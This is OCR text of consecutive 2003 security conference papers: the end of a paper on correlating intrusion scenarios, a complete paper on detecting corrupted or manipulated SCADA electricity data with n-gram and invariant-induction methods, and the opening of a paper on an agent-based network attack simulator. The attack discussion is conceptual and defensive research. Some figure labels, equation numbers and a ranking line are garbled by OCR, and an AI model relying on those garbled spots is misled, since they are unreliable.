Applying definition 12, the height scenarios are ranked as follow:

S1 >8> 855> 857> 853>85>95

Hence, Sy (which involves all instanciated attacks) is the most plausible sce-
nario, as expected.

6 Conclusion

Based on the observation that an intrusion scenario might be represented as
a planning activity, we suggest a model to recognize intrusion scenarios and
malicious intentions. This model does not follow previous proposals [3J4] that
require to explicitly specify a library of intrusion scenarios. Instead, our ap-
proach is based on specification of elementary attacks and intrusion objectives.
We then show how to derive correlation relations, or positive influence, between
two attack instances or between an attack instance and an intrusion objective.
Detection of complex intrusion scenario is obtained by combining these binary
correlation relations. We then define the notion of anti correlation, or negative
influence, that is useful to recognize a sequence of correlated attacks that does
no longer enable the intruder to achieve an intrusion objective. This may be
used to eliminate a category of false positives that correspond to false attacks,
that is actions that are not further correlated to an intrusion objective. Lastly
we proposed correlation weights which can be very useful to select plausible
scenarios. When the intruder did not achieved his intrusion objective yet but
there are several possible intrusion objectives consistent with a given sequence
of correlated attacks, our current strategy is to select the objective that contain
stronger correlated attacks.

A future work is to see how to integrate expert knowledge in the correlation
process. Indeed, to decide if a given intrusion scenario instance is achieved or not,
it is often necessary to combine information provided by “classical” IDS with
other information about the system monitored by the IDS: its topology, config-
uration and other data about the type and version of the operating systems and
applications installed in this system [§]. This kind of data is not provided by
classical IDS but other tools exist that may be used to collect it. Since current
IDS also provide alerts that do not allow us to distinguish between successful or
failing attacks, these additional data would be also useful for that purpose. This
problem is currently investigated in the ongoing project DICO.
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Abstract. This paper will show how the accuracy and security of SCADA sys-
tems can be improved by using anomaly detection to identify bad values caused
by attacks and faults. The performance of invariant induction and n-gram
anomaly-detectors will be compared and this paper will also outline plans for
taking this work further by integrating the output from several anomaly-
detecting techniques using Bayesian networks. Although the methods outlined
in this paper are illustrated using the data from an electricity network, this re-
search springs from a more general attempt to improve the security and depend-
ability of SCADA systems using anomaly detection.

1 Introduction

Over the last fifteen years a considerable amount of research has been done on the
protection of IP networks against malicious viruses and attacks. We now have intru-
sion detection systems, firewalls, virus detectors and even a certain amount of anom-
aly-detecting software making its way into commercial production [2]. SCADA sys-
tems play a vital control and information-gathering role in many industries, but until
recently very little effort has been expended on their security. The main reason for
this is that they have generally been run using obscure protocols and they have had
little connection to the outside world. Today this is changing: there is now an increas-
ing interconnectivity of everything, SCADA systems are moving over to standard
protocols, and the deregulation of many industries (especially the electricity industry)
makes their control systems more vulnerable to manipulation by malicious insiders.

Two approaches can be taken to securing SCADA systems. One is to identify prob-
lems at the perimeter of the system using virus and intrusion detection software to
identify known attacks and viruses. This provides a good defence against external
attackers, but it does nothing to prevent insiders from abusing the system and it is also
unable to detect unknown attacks and viruses. A second approach is to model the
normal data flows and control operations within the SCADA system to detect anoma-
lies caused by attempts to change or damage the system. This has the advantage that it
can detect unknown attacks and the actions of malicious insiders, but unless it is han-
dled carefully it can generate a lot of false alarms.

In the work on anomaly detection that has been carried out so far, the main empha-
sis has been on monitoring the behaviour of the system (sequences of function calls,
connections between machines, and so on) rather than the data passed around the
system. Since there is almost no open source SCADA software and many of the data-
gathering applications run on proprietary hardware, an analysis of functional behav-

V. Gorodetsky et al. (Eds.): MMM-ACNS 2003, LNCS 2776, pp. 171-182, 2003.
© Springer-Verlag Berlin Heidelberg 2003
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iour is not the best place to start with anomaly detection. The detection of anomalies
within the data is a much more promising area of investigation.

SCADA systems are used to control processes ranging from electricity networks to
chemical plants. Although in the longer term a solution is needed that can be applied
to many different areas, it was decided to start with the data from electricity networks,
since this is more systematically related than that from other sources. The techniques
described in this paper are being developed as part of the Safeguard IST project [17],
and they will eventually be incorporated into agents that are used detect and repair
anomalies within large complex critical infrastructures.

2 An Overview of the Electricity Management Network

A typical electricity network is managed from a control centre containing a number of
computers running server, database, firewall, monitoring and control software. This is
connected via a wide area network to a number of data acquisition systems (DAS),
which in turn are connected to remote terminal units (RTU), which send data readings
from local sites in response to requests from software running in the control centre.
The electricity network is managed by sending control signals from the control centre
to the RTUs, which control breakers, transformers, switches and so on. The data ac-
quisition and control parts of this management network are its SCADA (Serial Con-
trol And Data Acquisition) system.

r E_(E(;n_tr_o_l _c_er_lt_rf_: ) _i __________________________ Manufacturer
V]
Operator GUI EMS support

network

1

1

1

i PC-pased Independent
; applications, System Operatqr
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1

|

1

Remote
Terminal Unit

Fig. 1. An electricity management network

The data that is gathered by electricity SCADA systems is incomplete and subject
to substantial corruption and loss. To cope with these problems, a program called a
state estimator is used, which takes the data, assigns weights to it according to its
credibility, and uses the known electrical properties of the network to calculate a best-
fit hypothesis about its current state. A limitation of state estimation is that it cannot



Safeguarding SCADA Systems with Anomaly Detection 173

cope with massive data loss and it usually assumes that its picture of the topology of
the network (i.e. which breakers are open or closed) is correct. This is a risky assump-
tion since there are often configuration errors and there is always the chance that an
attacker could be mediating between the control centre and the electricity network.
State estimation techniques are also less applicable when the equations relating the
data values are less well defined — in water systems and chemical plants for example.
When the state estimator cannot reach a result because of corruption or insufficient
data a second technique is brought into play. This is the suggestion of pseudo-
measurements, which are rough guesses (generally based on statistics) as to what the
corrupt or missing readings should be. Using these pseudo-measurements the state
estimator can come up with an improved guess about the true state of the network.

3 Vulnerabilities of SCADA Systems

Although there has been a lot of hype about the prospect of cyber-terrorists taking
control of SCADA systems!, there remains a very real threat to them from insiders
and outsiders. Power and energy companies are frequent targets of attacks and ap-
proximately 60% of them experienced at least one severe security alert in the last six
months [9]. There have also been a couple of incidents in the last few years where
SCADA systems have been severely compromised?:

e In November 2001 an attacker used the Internet, a wireless radio and stolen control
software to release up approximately one million liters of raw sewage into the river
and coastal waters of Maroochydore in Queensland, Australia.

e In 1994 an attacker broke into the computers of an Arizona water facility: the Salt
River Project in the Phoenix area.

In addition to outside attacks there is also a threat from insiders®, whose greater
technical knowledge enables them to do greater damage to the system. Operator errors
are also a frequent source of disruption.

Once an attacker is inside an electricity SCADA system, there are a number of ma-
licious actions that they can perform:

e Changing data values. By manipulating data readings an attacker can deceive the
operators about the power and voltages on the network. If an operator acts on the
false information, they can put the electricity network into a dangerous state.

e Changing control signals. An attacker could block control signals and issue false
confirmations. Operators would be lead to think that breakers are closed when they
are open or that a transformer is malfunctioning when it is not.

e Opening breakers. The attacker could take direct control of the network and send
control signals to shut parts of it down. The operators’ attempts to restart the net-
work could be blocked with a denial of service over the SCADA system.

See [11] for a critical assessment of this hype.

These examples are taken from [13] and [11]. More information about electricity vulnerabili-
ties can be found in [12].

The most recent dti survey [4] reports that 48% of large businesses blame their worst security
incident on insider activity.

[N

w



174 J. Bigham, D. Gamez, and N. Lu

e Fraud. In the future, the metering of electricity will be done remotely, probably
over IP. Attackers could fraudulently manipulate these readings.

e QOverload. In the future, electricity companies are likely to have much more control
over demand, for example switching on water heaters in homes when there is low
demand. An attacker could overload the electricity system by switching on all the
electricity devices across the country at a period of high demand.

The most dangerous scenario is a combination of these disruptions, which could
cause a similar loss of control to that experienced when the Legion of Doom took
over Southern Bell’s telephone network in 19894,

4 Detecting Anomalous Events in SCADA Systems

This paper will compare two approaches to modelling SCADA data from an electric-
ity network: one that treats the data as text and learns the normal patterns within this
text (n-gram), the other which treats the data as numbers and looks for invariants,
such as mathematical relationships between the numbers (invariant induction).

4.1 N-Gram

This technique was initially developed by Marc Damashek, who used it to classify
texts independently of errors and the language they were written in. N-gram scanning
works by moving a sliding window of width n along a text and recording the number
of occurrences of each sequence of characters in the window. For example, if the
system has to process “The cat sat on the mat” using a sliding window of width two,
“Th”, “he”, “e ” and so on will be read into the database until the entire document (or
string in this case) has been read in. The result is a representation of the document as
a vector containing the relative frequencies of its distinct constituent n-grams, which
can then be used to measure the similarity between documents.

To apply this technique to the data from an electricity network a number of modifi-
cations need to be made. To begin with, this approach is normally error tolerant and
here it was necessary to detect errors rather than tolerate them. In electricity meas-
urements, if a decimal point is dropped or a sign reversed, a radically different read-
ing can result. The n-gram technique is error tolerant because it is essentially a statis-
tical technique that measures the distribution of n-grams in the data. To make it more
error sensitive it was decided to start with a non-statistical n-gram model of the data,
which simply records whether a particular n-gram occurs in the training data or not.
This is very similar to Forrest’s stide technique [7], which was used to model the
normal sequences of system calls within a Linux system. To reduce the size of the
normal model it was decided to work with just the first four characters of each
measurement. These included the sign of the reading, the position of the decimal point
and the most significant digits. Each movement of the sliding window was then ad-
vanced four characters along the data so that each successive n-gram covered a new
reading.

4 See Bruce Stirling, The Hacker Crackdown [18] for more on this.
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To increase the generalisation offered by the system, a degree of approximation be-
tween the n-grams held in the database and the test n-grams was also introduced.

The advantage of the n-gram technique is that it will work with data in any format
and it should even work with some forms of encrypted data. A further benefit is that it
does not depend upon mathematical relationships between the data readings and so it
is a natural complement to invariant induction. The limitation of this approach is that
it has difficulty detecting errors that occur close together because a single error cre-
ates a zero response for the entire time that the sliding window is over it.

4.2 Invariant Induction

This approach builds up a normal model of the data by looking for relationships be-
tween the different data readings. These are expressed as invariants, i.e. facts which
should always hold in the current context. In the data from electricity networks this
approach is particularly effective since most of the data is interrelated in a systematic
manner. For example, in the networks that we have experimented on, the relationship
between the power flow readings at either end of a line are, to a high degree of accu-
racy, of the form P1 = kP2 + C, where k and C are constants. Initially a certain num-
ber of invariants are hypothesised for the readings from the network. Some relation-
ships are based on physical relationships, but others will simply be empirical
relationships that are found in the training data. As more data comes in, some of these
relationships will be discarded because they no longer hold and eventually one is left
with a set of relationships which hold for all of the training data. A simplified exam-
ple of this technique now follows.
Suppose that this approach is being applied to the three bus network in Fig. 2.

2! P2 |
I 1ps ps |
P3 p4 | I
|
Bus 1
Bus 2 Bus 3

Fig. 2. Three bus electricity network

Table 1. Real power readings for three bus network

Time | P1 P2 P3 P4 P5 P6
T1 200 -190 60 -59.4 -70 67.9
T2 220 -209 50 -49.5 -100 97
T3 240 -228 80 -79.2 -150 145.5

Table 1 shows three sets of real power readings for this network. If the only rela-
tionships that are hypothesised are linear equations through the origin, then at time T1
it is possible to hypothesise the following six equations:
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Pl =-1.05P2 (1)
P3=-1.01P4 )
P5=-1.03P6 (3)
Pl = 3.33P3 “)
Pl =-3.37P4 5)
Pl = 2.86P5 (6)

At times T2 and T3, equations (4), (5) and (6) (and the rest of the potential linear
equations) no longer hold and the model of the normal relationships between the data
readings reduces down to (1), (2) and (3). If these equations do not hold in a future
test data set, this could indicate data corruption or loss, or the manipulation of data by
a malicious attacker. In practice, an approximate model will be fitted to the training
data and its residual computed (e.g. least squares).

An advantage of this technique is that the beliefs that are encapsulated in the in-
variants can be used to form beliefs about the components of the invariants. For ex-
ample, if the power readings at each end of a link between two buses do not satisfy
the linear relationship, then one of the power readings must be at fault. Information
about the range of typical readings and the last known breaker state can then be used
to discover whether there is an error in the power sensor reading or in the breaker
sensor reading. This allows you to connect topology information and power readings
locally and adjust the weights on the input to the state estimator.

A limitation of this approach is that you can only identify incorrect readings by
looking at the relationships of the two candidates with other correct readings. If a sign
reverses on P1, equation (1) will no longer hold, but it will not be known whether this
is because P2 should be negative or P1 positive unless there are further equations
linking P1 and P2 with other readings. These further equations may not always be
available if there is a substantial amount of corruption.

5  Previous Work

5.1 N-Grams

Marc Damashek was one of the first to develop the n-gram technique [3]. His system
has been successfully used it to classify documents independently of errors and lan-
guage. In the application of this technique presented here, the aim has been rather
different, since although the format of the data is ultimately unimportant, the errors
are critical and so Damashek’s statistical approach could not be adopted unaltered.

The simplified non-statistical version of Damashek’s technique used in these ex-
periments is also similar to Stephanie Forrest’s sequence time-delay embedding
(stide) methodology, described in [7] and elsewhere, which was used to track the
behaviour of applications by identifying abnormal sequences of their system calls.
The focus in Forrest’s work is on the behaviour of the system, not on the data passed
around it, and there was little need in the context of her work to track down the exact
position of errors and suggest corrections.
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5.2 Invariant Induction

Since Langley’s BACON system [10], there has been a substantial amount of work on
equation induction within the Al and engineering communities and a number of sys-
tems have been developed [5], [15]. However the main aim of this work was to dis-
cover equations that could be used by engineers and there has not been any applica-
tion of the learnt equations to the problem of SCADA security and anomaly detection.

Research into the more general problem of invariant induction has been carried out
by Michael Ernst, whose Daikon system [6] dynamically identifies invariant proper-
ties of the variables within a program by instrumenting its source code and running it
over a test bed that is intended to give a comprehensive coverage of the program’s
behaviour. As the program runs the variables are analysed for invariant properties,
such as x > 10, x + y = 35, etc. Although Ernst’s techniques are similar to the ones
described in this paper, the area of application is different. Ernst’s approach is orien-
tated towards debugging applications and not towards building up a normal model of
SCADA data and using this to detect intrusions. Furthermore, Ernst’s pruning tech-
nique does not allow invariants that are usually true, e.g. 99% of the time.

5.3 Support for the State Estimator in Electricity Networks

A lot of research has been carried out on the development of state estimation and the
extension of it to include topology errors. This includes the work by Clements on the
identification of topology errors [1] [14] and recent research by Wollenberg on mas-
sive data loss and pseudo-measurements [8]. However, none of the work so far has
applied anomaly-detecting techniques to these problems and very little work has been
done on intrusion detection in SCADA systems.

6 Experiments

Using a load flow program?, real and reactive power flow measurements for a six bus
network were calculated for total system loads varying over the annual cycle given
with the specification of the IEEE 24 bus test network [16]. This provided 8736 files
containing snapshots of the network for every hour of every day for a year. To test the
false positive rate of the anomaly detectors, one in ten of these files was set aside and
then the n-gram and invariant induction techniques were used to learn normal models
of the network.

Test data was generated by introducing between 1 and 44 random errors into a se-
lection of the normal data files. These errors included changing the sign of a reading,
moving the decimal point to the right or left and swapping one of the digits with a
random number. The ability of the two anomaly-detecting techniques to identify the
errors was then evaluated.

5 For these experiments we adapted the load flow program supplied with Wood & Wollen-
berg’s Power Generation, Operation and Control [20].
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7 Results

The first set of experiments measured the true and false positive rates per file for the
two techniques, which were used to identify whether a complete snapshot of the net-
work was normal or abnormal. Different sliding window lengths were used for the n-
gram technique and different threshold settings for the invariant induction. The results

are shown in figures 3, 4, 5 and 6.
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The next set of experiments measured the ability of the two techniques to correctly
identify errors within each corrupted file. For the n-gram technique, the sliding win-
dows that covered six and eight data readings gave the best results when identifying
errors on a file by file basis and so these window lengths were used to identify errors

¢ Four characters from each power reading were read into the n-gram model and so a sliding
window that includes eight power readings will have a length of thirty two characters.
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within each file. For the invariant induction, a threshold setting of 1.96s, where s is
the standard deviation of the residual error, was chosen. Since we were focusing on
the induction of linear equations in these experiments, this technique could only indi-
cate whether there was an error in a line (represented by two readings) and it could
not identify individual points in a file that were corrupt. It was also found that the
relationship between the reactive power readings was non-linear and so errors could
not be identified in these values. This meant that a maximum of eleven line errors
could be detected by invariant induction; whereas the n-gram technique could theo-

retically detect up to forty four corruptions in the file. Results are shown in Fig. 7 and
Fig. 8.
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Fig. 7. Plot of the number of errors in the data Fig. 8. Plot of the number of errors per line
against the average number of errors accu- against the average number of line errors
rately detected by the n-gram technique accurately detected by invariant induction

8 Discussion

Both techniques performed well in the first experiment. A sliding window that in-
cluded six data readings’ and an approximation level of two could identify ninety
eight percent of the corrupt files with a one percent false positive rate. With a stan-
dard deviation of two, the invariant induction technique identified ninety one percent
of the corrupt files with a four percent false positive rate.

In the second experiment, the n-gram technique proved to be good at accurately
identifying small numbers of errors within each file, but as the errors increased the
false positive rates started to make the results meaningless®. In practice it will proba-
bly be sufficient to identify one or two errors in each file or to identify the file as
completely corrupt and for this the n-gram technique is sufficient. Invariant induction

Here again we encounter the magic number six, which has been the optimal window length
in many anomaly-detecting experiments. Tan and Maxion [19] claim that the frequent occur-
rence of this number is an artifact of Forrest’s data, but this cannot be the explanation here.
The coincidence is also not as close as it appears. Although six data readings proved optimal,
with four characters in each reading, the actual window length was 24 characters.

Results were plotted up to a false positive rate of 20%.
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performed much better on this task and with just one invariant type, this approach
proved successful at identifying line corruptions within the files. In these experiments,
invariant induction could only identify pairs of readings containing an error, however
the performance of this technique will improve as it is extended to include other in-
variants not described here (such as the sum of the real and reactive powers being
zero and topology dependent range checks).

These results suggest that the best way to detect anomalies within electricity data is
to combine more than one anomaly-detecting technique. Whilst n-grams perform
better on the identification of corrupt files and at pinpointing small numbers of errors
within files, invariant induction has a better overall performance on the identification
of errors within files. The combined results from both methods could be used to adjust
the weighting on data going into the state estimator.

9 Future Work

The first stage of our future work will be to improve the anomaly detectors by extend-
ing the invariant induction to include more sophisticated equations and testing the
ability of the n-gram technique to handle encrypted data. Preliminary experiments
have suggested that although some forms of encryption reduce the ability of the n-
gram technique to provide approximate matches, they do not entirely prevent it from
recording normal sequences and identifying deviations.

The results so far have indicated that anomaly detection can be improved by com-
bining several different anomaly detectors. An effective way of doing this would be to
use a Bayesian network to correlate their outputs with other data sources. This should
reduce the false positive rate and would enable more accurate pinpointing of errors. In
Fig. 9, information from the n-gram and invariant anomaly detectors is brought to-
gether with a range checker using the Bayesian network, which works out which
reading has been corrupted and could suggest a pseudo measurement for that reading.
These correlation techniques can also be extended to integrate information from many
different independent sources and create higher level concepts and beliefs about them.

The work on improving and correlating the anomaly detectors will be used to study
the interactions between the anomaly detectors and the state estimator. As explained
in section 2, the state estimator offers an effective way of evaluating the state of the
network and the purpose here has not been to duplicate its work, but to improve it.
Experiments need to be carried out to evaluate the performance of the state estimator
on corrupted data, determine its limitations and then investigate the extent to which
correlated anomaly detection can support it by adjusting the weights on readings and
suggesting pseudo-measurements.

These experiments have tested the anomaly-detecting techniques using the data
from an electricity network. A logical next step would be to test them on data from
other SCADA systems, such as those controlling water systems and chemical plants.
These experiments could also be extended to include SCADA control signals.

10 Conclusions

Our results suggest that the two anomaly-detecting methods that we have described
could be used to successfully detect deliberate or accidental corruption of data within
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a SCADA system. Both techniques can identify whether a collection of readings from
the network is normal or abnormal with a reasonable false positive rate. On the detec-
tion of errors within each set of data readings, the two techniques have complemen-
tary strengths and the proposed combination of methods using a Bayesian network
should enable the limitations of the individual techniques to be overcome. In the
longer term these technologies will be incorporated into the Safeguard agent system
and used to protect electricity and telecommunications management networks.

N-GRAM EQUATION OTHER
SCANNING INDUCTION INFORMATION

Rliscorrect/  R2iscorrect/ Equation connecting Rl isinrange/ R2 is in range/
incorrect incorrect R1 and R2 holds/ outof range  out of range
does not hold

R1 is correct/ incorrect R2 is correct/ incorrect

Fig. 9. A Bayesian network that correlates the output from different anomaly detectors with
other information. R1 and R2 are power readings
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Abstract. The paper describes implementation issues of and experiments with
the software tool “Attack Simulator” intended for active assessment of com-
puter networks vulnerability at the stages of design and deployment. The sug-
gested approach is based on malefactor's intention modeling, ontology-based at-
tack structuring and state machines specification of attack scenarios. The paper
characterizes a generalized agent-based architecture of Attack Simulator. The
generation of attacks against computer network model and real computer net-
work is analyzed. The experiments demonstrating efficiency of Attack Simula-
tor in generating various attacks scenarios against computer networks with dif-
ferent configurations and security policies are considered.

1 Introduction

Increasing of Internet scale and intensive emerging of new computer and network
technologies enhance the number of computer network vulnerabilities and possible
targets for malefactors’ attacks against computer networks. Now we are witnesses of
developing cyber war, where malefactors use more and more advanced tools of attack
realization based on automated, speedy, sophisticated techniques, which are more
difficult to detect and eliminate [9].

However, modern computer network security systems use mostly “ad hoc” built
security policies aimed at defense against known types of attacks and other threats. It
is undoubtedly that remarkable increase of security systems efficiency could be
achieved in case of using knowledge resulting from generalization and formalization
of the accumulated experience regarding computer system vulnerabilities and attack
cases. To best develop the methods of cyber defense, we must be able to test secu-
rity components by simulating attacks against computer networks, just the way the
military must be able to simulate conflicts in the real world [5].

The goal of research described in the paper consists in development of a general
approach, mathematical models and a computer network attack simulation software
tool intended for active analysis of computer network vulnerabilities [7].

As one can see from our review of relevant works (Table 1), describing only ex-
amples of works directly connected with attack modeling and simulation, the field of
attack modeling and simulation has been delivering significant research results to
date, nevertheless the publications reflect a beginning phase of research. Perhaps this
is due to the extreme complexity of the network attack and computer networks.

V. Gorodetsky et al. (Eds.): MMM-ACNS 2003, LNCS 2776, pp. 183-194, 2003.
© Springer-Verlag Berlin Heidelberg 2003
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Table 1. Some Relevant Works

Essence of approach Examples of works
Attacks and attack taxonomies [8]
Using Colored Petri Nets [12]
State transition analysis technique [10]
Cause-effect model of attack realization [2]
Conceptual models of computer penetration [19]
Descriptive models of attacks [23]
Structured “tree”-based description of attacks [3], [15], [17]
Modeling survivability of networked systems [14]
Object-oriented Discrete Event Simulation of attacks [1]
Attack modeling as a set of capabilities that provide support for new attacks | [21]
Attack languages [22]
Situation calculus to simulate intelligent, reactive attackers [5]
Building and using attack graphs for vulnerability analysis [16], [18], [20]
Intrusion detection systems evaluation [4], [13]

We developed a strict formal model and techniques for attack modeling based on
stochastic formal grammar and state machine based specification of the malefactor’s
intentions and scenarios of network attacks on the macro and micro levels. Our ap-
proach applied the results of reviewed relevant works, but is evolving own theoretical
and practical ideas about stochastic formal grammar and multi-agent based attack
modeling and agent-based simulation. The rest of the paper is structured as follows.
Section 2 presents formal approach suggested for attack modeling and simulation.
Section 3 specifies the software tool “Attack Simulator” implementing the formal
approach developed. Section 4 outlines the experiments conducted with Attack Simu-
lator. Section 5 describes the paper results.

2 Formal Approach for Attack Modeling and Simulation

In the developed formal model of attacks, the basic notions of the security domain
correspond to malefactor’s intentions and all other notions are structured according to
the structure of intentions [7]. The classes, numbers, designations and interpretations
of basic malefactor’s intentions are considered in Table 2.

Table 2. List of Malefactor’s Intentions

Class # Designation Interpretation

3 1 IH Identification of the running Hosts

§ 2 1S Identification of the host Services

2 a 3 10 Identification of the host Operating system

e 4 RE Resource Enumeration

§ 5 UE Users and groups Enumeration

~ 6 ABE Applications and Banners Enumeration

2§ 7 GAR Gaining Access to Resources

s ‘E 8 EP Escalating Privilege

% S22 CVR Confidentiality Violation Realization or Confidentiality destruction
‘é E ~| 10 IVR Integrity Violation Realization or Integrity Destruction
= § 11 AVR Availability Violation Realization or Denial of Service
E £ 12 CBD Creating Back Doors
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An attack task specification (or a top-level attack goal) is specified by the follow-
ing quad: <Network (host) address, Malefactor’s intention, Known data, Attack ob-
Jject>. The task specification has to determine the class of scenarios that lead to the
intended result. Known data specifies the information about attacked computer net-
work (host) known for a malefactor. Attack object corresponds to the optional variable
in attack goal specification defining more exactly the attack target.

The developed problem domain ontology “Computer network attacks” comprises a
hierarchy of notions specifying activities of malefactors directed to implementation of
attacks of various classes in different levels of detail. In this ontology, the hierarchy
of nodes representing notions splits into two subsets according to the macro- and
micro-levels of the domain specifications. All nodes of the ontology of attacks are
divided into the intermediate and terminal.

Being based on explanation of the attack modeling strategy [7], definition of basic
notions of attack specification, structure of the basic malefactors’ intentions and ac-
tions, the following basic assumptions and statements used for formal attack specifi-
cation were determined: (1) Each attack intention can be considered as a sequence of
symbols in terms of lower-level intentions and actions. These sequences can be for-
mally considered as “words” of a language, which can be generated by a formal
grammar. Thus, each node of the ontology “Computer network attacks” can be speci-
fied in terms of a formal grammar generating more detailed attack specification; (2)
Specification of uncertainties inherent to the attack development can be done in prob-
abilistic terms through attributes and functions given over them. Thus, the resulting
framework for attack specification can be restricted to a stochastic attribute grammar;
(3) Each node (grammar) of the ontology is interconnected with the upper level node
(grammar) and this interconnection can be specified through “grammar substitution”
operation in which a terminal symbol of the parent node is considered as the axiom of
the grammar corresponding to its child node; (4) Each malefactor’s action has to be
followed by an attacked network response.

Thus, mathematical model of attack intentions was determined in terms of a set of
formal grammars specifying particular intentions interconnected through “substitu-
tion” operations: M,\=<{G,-}’ {Su}>, where {G,-} — the formal grammars, {Su} — the
“substitution” operations. Every formal grammar is specified by quintuple G=<V,,
V, S, P, A >, where G is the grammar name, V, is the set of non-terminal symbols
associated with the upper and the intermediate levels of an attack scenario, V, is the
set of its terminal symbols representing “simple ” attacks (exploits), Se V, is an ini-
tial symbol of an attack scenario, P is the set of productions that specify the speciali-
zation operations for the intention through the substitution of the symbols of an upper-
level node by the symbols of the lower-level nodes, and A is the set of attributes and
algorithms of their computation.

Attribute component of each grammar serves for two main purposes. The first of
them is to specify randomized choice of a production at the current inference step if
several productions have the equal left part non-terminals coinciding with the “active”
non-terminal in the current sequence under inference. Also the attribute component is
used to check conditions determining the admissibility of using a production at the
current step of inference. These conditions may depend on compatibility of malefac-
tor's actions and attacked network or host properties, e.g., OS type and version, run-
ning services, security parameters, etc.
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Fig. 1. Examples of State Machine Diagrams

Thus, in general case, the grammar production is recorded as follows: [(U)] X — «
(Prob), where U — the condition for the rule usage, [ ] — an optional element, X —
non-terminal symbol, & — a string of terminal and non-terminal symbols, Prob — the
initial value of probability of the rule usage. It is assumed that if a value of the pro-
duction condition is not determined at the moment of production selection all avail-
able productions may be used at the respective step of attack simulation. Also it is
supposed that the terminal actions generated by productions are associated with the
probabilities of successful realization of those actions (attacks) and the host response.

Algorithmic representation of the attack generation specified as a family of formal
generalized grammars was implemented by a family of state machines.

The basic elements of each state machine are states and transition arcs. States of
each state machine are divided into three types: first (initial), intermediate, and final
(marker of this state is End). The initial and intermediate states are the following:
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non-terminal, those that initiate the work of the corresponding nested state machines;
terminal, those that interact with the network model or real network; abstract (auxil-
iary) states. Transition arcs are identified with the productions of grammars, and can
be carried out only under certain conditions.

The model of each state machine was set by specifying the following components:
diagram of state machine; main parameters of the state machine; parameters of transi-
tions that determine the stochastic model of the state machine functioning for differ-
ent relevant intentions regarding the implementation of network attacks; transition
conditions. In the state machine diagram, the first and the final states are signified by
black circles, and the intermediate states — by rectangles with rounded corners. Ex-
amples of the state machines diagrams for intentions ‘“Network Attack” (4), “Recon-
naissance” (R), and “Implantation and threat realization” (/) are represented in Fig. 1.

The peculiarity of any attack is that the malefactor's strategy depends on the results
of the intermediate actions. The malefactor's action has to be generated on-line in
parallel with the getting reaction from the attacked network. The network returns the
value of the result (success or failure). The model of attacker receives it and generates
the next terminal symbol according to the attack model and depending on the returned
result of the previous phase of the attack.

Model of the attacked computer network and its response to attacks is represented
as the following quadruple: MA = <M, {M }, M,, M, >, where M, — the model of
the network structure; {M } — a set of models of the host resources; M the model
of computation of attack success probabilities; M,, — the model of the host reaction
in response of attack.

The model M, of the computer network structure was determined as follows: M
=<A, P, N, C>, where CN — the computer network identifier, A — the network aé
dress; P — a family of protocols used; N — a set {CN,} of sub-networks and/or a set
{H.} of hosts of the network CN; C is a set of connections between the sub-networks
(hosts) established as a mapping matrix.

The models {MH[} of the network host (resources) serve for representing the host
parameters that are important for attack simulation (IP-address, type and version of
OS, users’ identifiers, domain names, host access passwords, users’ security identifiers
(SID), domain parameters, active TCP and UDP ports and services of the hosts, etc.

Success or failure of any attack action (corresponding to terminal level of the at-
tack ontology) is determined by means of the model Mp of computation of the attack
success probabilities. This model was specified as a set of rules each of which deter-
mines the action success probability depending on the basic parameters of the host
(attack target).

The result of each attack action is determined according to the model M,, of the
host reaction. This model is determined as a set of rules of the host reactlon. M, =
{R™ }, R™: Input — Output [& Post-Condition], where Input — the malefactor’s
activity, Output — the host reaction, Post-Condition — a change of the host state,
& — logic connective “AND”, [ ] — optional part of the rule.

3  Attack Simulator Implementation

Attack Simulator is built as a multi-agent system that uses two classes of agents: (1)
the “Network Agent” simulates defense system of the attacked computer network and
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(2) the “Hacker Agent” performs attacks against computer network. In the developed
version of Attack Simulator each agent class has single instance although the devel-
oped technology makes it possible to simulate a team of hackers and a team of agents
responsible for computer network security [11].

The aforementioned agents are implemented (Fig. 2) on the basis of the technology
supported by Multi-Agent System Development Kit (MASDK) that is a multi-agent
software tool aiming at support of the design and implementation of multi-agent sys-
tems of a broad range [6]. Attack Simulator comprises the multitude of reusable com-
ponents generated by use of the MASDK standard functionalities and application-
oriented software components developed in MS Visual C++.

Each agent operates using the respective fragment of the application ontology that
is designed by use of an editor of MASDK facilities. The interaction between agents
in the process of attack simulation is supported by the communication environment,
which design and implementation is also supported by MASDK.

1 1 1 1 1 1
Attack Task Stochastic Attack Scenario Netwark Network
Spocification Decision Visualization Configuration Firewall Model Response
Component Making Model Component Component Component
h r
My (= 1
Hacker Network Traffic Network
Agent Generation Agent
Kermel ™ Component Kernel
=t —y
_] | MASDK —| MASDK

State Machines l ek o —

Companent e~ Component
Fragment A Ontology
Component Fragment
v Component
Scripts Scripts

Component Componant

Fig. 2. Component Models of Hacker and Network Agents

The communication component plays a very important role in the Attack Simula-
tor. Indeed, the knowledge bases of Network Agent and Hacker Agent are imple-
mented as two separate entities. An advantage of such a knowledge representation
makes it actually possible to simulate adversary interactions. Such a model adequately
implements interactions of the both above opposite sides. In it, while simulating an
attack Hacker Agent sends a certain message to Network Agent. Network Agent, like
this takes place in real-life interactions, analyzes the received message and forms a
responsive message. This message is formed based on the Network Agent's knowl-
edge base that models the network configuration and all its attributes needed to simu-
late the real-life response. The Network Agent's knowledge base also uses informa-
tion about possible existing attacks and reaction of the network.

Hacker Agent Kernel contains a standard set of functions needed for exploiting on-
tology and running state machines. It is also provided with functions that call specifi-
cation of attack task, compute next state-machine transition as well as initiate and



Experiments with Simulation of Attacks against Computer Networks 189

perform visualization of the attack development. Network Agent Kernel contains the
standard set of functions for processing the application domain ontology and the state
machine model, as well as the functions used for specification of network configura-
tion through user interface, for the firewall model initialization, and for computation
of the network’s response to an attacking action.

Attack scenario visualization component is used for the visualization of the attack
generation process. The component allows for graphic, “real-time” visualization of
the “unfolding” of attack scenario. The example of the main demonstration window
showing the development of attack on macro-level is represented in Fig. 3. It depicts
the fragment of attack development for the intention 8 (“Escalating Privileges (EP)”),
where the hacker’s IP-address is 161.43.201.148 and the host IP-address is
210.122.25.0. In the figure the attack information is divided on the four groups: (1)
the attack task specification units are mapped in the left top of the screen; (2) to the
right of them the attack generation tree is visualized; (3) the strings of generated
malefactor’s actions are placed in the left part of the screen below the attack task
specification; (4) on the right of each malefactor’s action a fag of success (failure) and
data obtained from an attacked host (a host response) are depicted.

The Attack task specification section contains the information generated by the
component of the attack task specification. The graph showing the Aftack generation
tree represents a hierarchy of the malefactor’s intentions and actions of different lev-
els which correspond to non-terminal and terminal nodes. The non-terminal high level
nodes are depicted by white ellipses. The terminal nodes of the attack model corre-
spond to blue nodes. The brown node is the node of the current step of an attack sce-
nario execution. The transcriptions of the blue nodes can be seen in the section “Cur-
rent non-terminal node”.

When the attack scenario is developing the strings with the following elements are
